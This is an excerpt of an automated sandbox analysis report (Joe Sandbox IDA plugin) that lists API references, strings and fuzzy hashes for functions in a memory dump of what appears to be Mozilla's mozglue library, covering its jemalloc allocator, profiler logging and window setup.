InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C509874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C509895

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5099BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5099D2
MALLOC_OPTIONS, xrefs: 6C5097CA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C509933, 6C509A33, 6C509A4E
<jemalloc>, xrefs: 6C509B33, 6C509BE3
QzO/, xrefs: 6C506FFC
MOZ_CRASH(), xrefs: 6C509B42
: (malloc) Unsupported character in malloc options: ', xrefs: 6C509BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5099A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C509993
Compile-time page size does not divide the runtime one., xrefs: 6C509B38

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$QzO/
API String ID: 4047164644-859870157
Opcode ID: a7f862ebd513ffe2f21ce58f51b5a0765159cc497faa02bc3cd3be48006f1fd8
Instruction ID: 4b3d0686faad25a8062c089349d5a08f7aafd27d2a3ff80a47eb39d307e18f48
Opcode Fuzzy Hash: a7f862ebd513ffe2f21ce58f51b5a0765159cc497faa02bc3cd3be48006f1fd8
Instruction Fuzzy Hash: B9535D71B057018FD714CF28C981615BBE1BF8A328F29CAADE869CB795D771E841CB81

Function 6C510DD0 Relevance: 85.6, APIs: 36, Strings: 11, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C510F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C510F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C510FB7
EnterCriticalSection.KERNEL32(?), ref: 6C510FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C511031
LeaveCriticalSection.KERNEL32(?), ref: 6C5110D0
EnterCriticalSection.KERNEL32(?), ref: 6C51117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C511C39
EnterCriticalSection.KERNEL32(6C55E744), ref: 6C513391
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C5133CD
LeaveCriticalSection.KERNEL32(?), ref: 6C513431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C513437

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5137BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5137D2
MALLOC_OPTIONS, xrefs: 6C5135FE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C513559, 6C51382D, 6C513848
<jemalloc>, xrefs: 6C513941, 6C5139F1
QzO/, xrefs: 6C510DE2
MOZ_CRASH(), xrefs: 6C513950
: (malloc) Unsupported character in malloc options: ', xrefs: 6C513A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5137A8
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C513793
Compile-time page size does not divide the runtime one., xrefs: 6C513946

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$QzO/
API String ID: 3040639385-859870157
Opcode ID: 4d0576f6f74b7a924ce934d72f2d780f0b8abfdb950ee04d4b6ac7f6c85d71d0
Instruction ID: b53373d5aa5099417f6ca6d7f0cb2d802ad99c7a3cd5cceec69db28c209a78ce
Opcode Fuzzy Hash: 4d0576f6f74b7a924ce934d72f2d780f0b8abfdb950ee04d4b6ac7f6c85d71d0
Instruction Fuzzy Hash: 5653B271A097018FE704CF19C954616FBE1BF86328F29C7ADE8699BB91D371E841CB81

Function 6C5355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C50E1A5), ref: 6C535606
LoadLibraryW.KERNEL32(gdi32,?,6C50E1A5), ref: 6C53560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C535633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C53563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C53566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C53567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C535696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C535716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C53572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C535748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C535761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C53577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C535793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5357FF

Strings

RegisterClassW, xrefs: 6C5356AC
GetThreadDpiAwarenessContext, xrefs: 6C53562D
SetWindowLongPtrW, xrefs: 6C5357B7
AreDpiAwarenessContextsEqual, xrefs: 6C535637
CreateWindowExW, xrefs: 6C5356C5
EnableNonClientDpiScaling, xrefs: 6C535666
GetDpiForWindow, xrefs: 6C535690
CreateSolidBrush, xrefs: 6C5357E4
DeleteObject, xrefs: 6C5357F9
StretchDIBits, xrefs: 6C5357CC
GetWindowDC, xrefs: 6C535710
LoadCursorW, xrefs: 6C535774
SetWindowPos, xrefs: 6C5356F7
FillRect, xrefs: 6C535729
ReleaseDC, xrefs: 6C535742
GetMonitorInfoW, xrefs: 6C5357A2
LoadIconW, xrefs: 6C53575B
GetSystemMetricsForDpi, xrefs: 6C535677
ShowWindow, xrefs: 6C5356DE
gdi32, xrefs: 6C53560A
MonitorFromWindow, xrefs: 6C53578D
user32, xrefs: 6C535601

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 33ce288e11265be5b3dd01dd23bc8a70f0c6b52c198f0c7b914ad32396ba7247
Instruction ID: 796edcc5dd6f2a835eb140c545e75888e6ff49fd23311c8afd15b90329621664
Opcode Fuzzy Hash: 33ce288e11265be5b3dd01dd23bc8a70f0c6b52c198f0c7b914ad32396ba7247
Instruction Fuzzy Hash: B95187707013139BDB01AF359D489277BF8AB072457E66526ED56E2A02FF74C900CF68

Function 6C5334A0 Relevance: 62.7, APIs: 33, Strings: 2, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5335BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5335E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5336CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5338BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5339EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C533EE2

Part of subcall function 6C536180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5361DD
Part of subcall function 6C536180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C53622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5340F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534157

Part of subcall function 6C536180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C536250
Part of subcall function 6C536180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C536292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C53441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C53484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C534896
free.MOZGLUE ref: 6C53489F

Strings

, xrefs: 6C534CD2
QzO/, xrefs: 6C5334DB

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID: $QzO/
API String ID: 3842999660-2209168226
Opcode ID: f8906cf3954d80425aadfa39100a4cf96d497bf7cdfc6bbf7f8b243ac87d62e6
Instruction ID: 1bc7fa6fb82e0900ce15ae0d9c3ca598bca0578860ba7636ef2964d95a4733b6
Opcode Fuzzy Hash: f8906cf3954d80425aadfa39100a4cf96d497bf7cdfc6bbf7f8b243ac87d62e6
Instruction Fuzzy Hash: F5F23B74908B80CFC725CF28C48469AFBF1BFC9358F518A5ED99997711DB329886CB42

Function 6C51F070 Relevance: 61.7, APIs: 30, Strings: 5, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C51F09B

Part of subcall function 6C4F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B85
Part of subcall function 6C4F5B50: EnterCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5B90
Part of subcall function 6C4F5B50: LeaveCriticalSection.KERNEL32(6C55F688,?,?,?,6C4F56EE,?,00000001), ref: 6C4F5BD8
Part of subcall function 6C4F5B50: GetTickCount64.KERNEL32 ref: 6C4F5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C51F0AC

Part of subcall function 6C4F5C50: GetTickCount64.KERNEL32 ref: 6C4F5D40
Part of subcall function 6C4F5C50: EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C51F0BE

Part of subcall function 6C4F5C50: __aulldiv.LIBCMT ref: 6C4F5DB4
Part of subcall function 6C4F5C50: LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C51F155
GetCurrentThreadId.KERNEL32 ref: 6C51F1E0
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F1ED
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F212
GetCurrentThreadId.KERNEL32 ref: 6C51F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F248
GetCurrentThreadId.KERNEL32 ref: 6C51F2AE
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F2BB
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F2F8

Part of subcall function 6C50CBE8: GetCurrentProcess.KERNEL32(?,6C4D31A7), ref: 6C50CBF1
Part of subcall function 6C50CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4D31A7), ref: 6C50CBFA

Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
Part of subcall function 6C519420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
Part of subcall function 6C519420: __Init_thread_footer.LIBCMT ref: 6C51949F

GetCurrentThreadId.KERNEL32 ref: 6C51F350
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F35D
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F381
GetCurrentThreadId.KERNEL32 ref: 6C51F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F3A0
GetCurrentThreadId.KERNEL32 ref: 6C51F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F491

Part of subcall function 6C5194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5194EE
Part of subcall function 6C5194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C519508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F3CF

Part of subcall function 6C51F070: GetCurrentThreadId.KERNEL32 ref: 6C51F440
Part of subcall function 6C51F070: AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F44D
Part of subcall function 6C51F070: ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C51F4A8
GetCurrentThreadId.KERNEL32 ref: 6C51F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C51F561
GetCurrentThreadId.KERNEL32 ref: 6C51F577
AcquireSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F585
ReleaseSRWLockExclusive.KERNEL32(6C55F4B8), ref: 6C51F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C51F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C51F499
[I %d/%d] profiler_resume, xrefs: 6C51F239
QzO/, xrefs: 6C51F07C, 6C51F1BA, 6C51F32A, 6C51F41A
[I %d/%d] profiler_pause_sampling, xrefs: 6C51F3A8

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: QzO/$[D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-3738855318
Opcode ID: 039f4c1515c243ab2e6bc757762e018cb2ef2a988cfc9b87e9ecdf292328b44c
Instruction ID: fd6dab33ed8b61e9c747b642594b87669d17ff968bec34696eae29bed4dfd091
Opcode Fuzzy Hash: 039f4c1515c243ab2e6bc757762e018cb2ef2a988cfc9b87e9ecdf292328b44c
Instruction Fuzzy Hash: BBD1E635708204DFEB00EF64DC487AA77F5EB86328F95471AE95983F81DB715804C7AA

Function 6C4E64C0 Relevance: 54.7, APIs: 24, Strings: 7, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C4E64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C4E64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C4E6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C4E6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C4E652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C4E671C
GetCurrentProcess.KERNEL32 ref: 6C4E6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4E672F
GetCurrentProcess.KERNEL32 ref: 6C4E6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C4E6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C4E6A80
GetSystemInfo.KERNEL32(?), ref: 6C4E6ABE
__Init_thread_footer.LIBCMT ref: 6C4E6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4E6AF7

Strings

detoured.dll, xrefs: 6C4E64DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C4E6798
user32.dll, xrefs: 6C4E6526
nvdxgiwrap.dll, xrefs: 6C4E6513
QzO/, xrefs: 6C4E64D0
nvd3d9wrap.dll, xrefs: 6C4E6500
_etoured.dll, xrefs: 6C4E64ED

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: QzO/$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-3484540290
Opcode ID: 0996e2b58a35cd35b3f9ccf41955014500db403385195c78dd629c75860e92fd
Instruction ID: 8e15aec114cd7d92f2b7387e684a5b0eab4d37ea80df763b28c2490418ce793b
Opcode Fuzzy Hash: 0996e2b58a35cd35b3f9ccf41955014500db403385195c78dd629c75860e92fd
Instruction Fuzzy Hash: BCF1D070E0522D8FDB20DF24CC48FDAB7B5AF4A31AF164299D919A3741D731AA85CF90

Function 6C4FD850 Relevance: 50.1, APIs: 21, Strings: 7, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4FD904
LeaveCriticalSection.KERNEL32(?), ref: 6C4FD971
memset.VCRUNTIME140(?,00000000,?), ref: 6C4FD97B
LeaveCriticalSection.KERNEL32(?), ref: 6C4FE2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FE2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FE308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FE315
AcquireSRWLockExclusive.KERNEL32(6C55E804), ref: 6C4FE37C
GetSystemInfo.KERNEL32(?), ref: 6C4FE3C7
__Init_thread_footer.LIBCMT ref: 6C4FE3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C55E810,00000040), ref: 6C4FE404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7B8,00001388), ref: 6C4FE46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E744,00001388), ref: 6C4FE483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E784,00001388), ref: 6C4FE4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E7DC,00001388), ref: 6C4FE4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C55E768,00001388), ref: 6C4FE50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C4FE52E
ReleaseSRWLockExclusive.KERNEL32(6C55E804), ref: 6C4FE54F

Part of subcall function 6C4ED960: EnterCriticalSection.KERNEL32(?), ref: 6C4ED999
Part of subcall function 6C4ED960: EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EDA13

Strings

MALLOC_OPTIONS, xrefs: 6C4FE3FF
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4FE560, 6C4FE58A, 6C4FE5A5
<jemalloc>, xrefs: 6C4FE61C, 6C4FE6CC
QzO/, xrefs: 6C4FD85C
MOZ_CRASH(), xrefs: 6C4FE62B
: (malloc) Unsupported character in malloc options: ', xrefs: 6C4FE6DD
Compile-time page size does not divide the runtime one., xrefs: 6C4FE621

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2607743561.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607857599.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2607878584.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)$QzO/
API String ID: 919329573-2579133639
Opcode ID: f15ea4b2ca4df94ad0623e75e63a7032fa67e9548d35138f3dc26146068e605a
Instruction ID: 2fbd2fec9a55deed0d6657ab91d470d3e08f6b48ed2f1841a27f281b1482fb45
Opcode Fuzzy Hash: f15ea4b2ca4df94ad0623e75e63a7032fa67e9548d35138f3dc26146068e605a
Instruction Fuzzy Hash: C0929A71A056018FD714CF28C980F15BBE1BFC6729F2A866DE8698B791D375E842CBC1

Function 6C53C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C53C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C53C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C53C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C53DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C53DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C53E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C53E472

Memory Dump Source

Source File: 00000000.00000002.2607767286.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

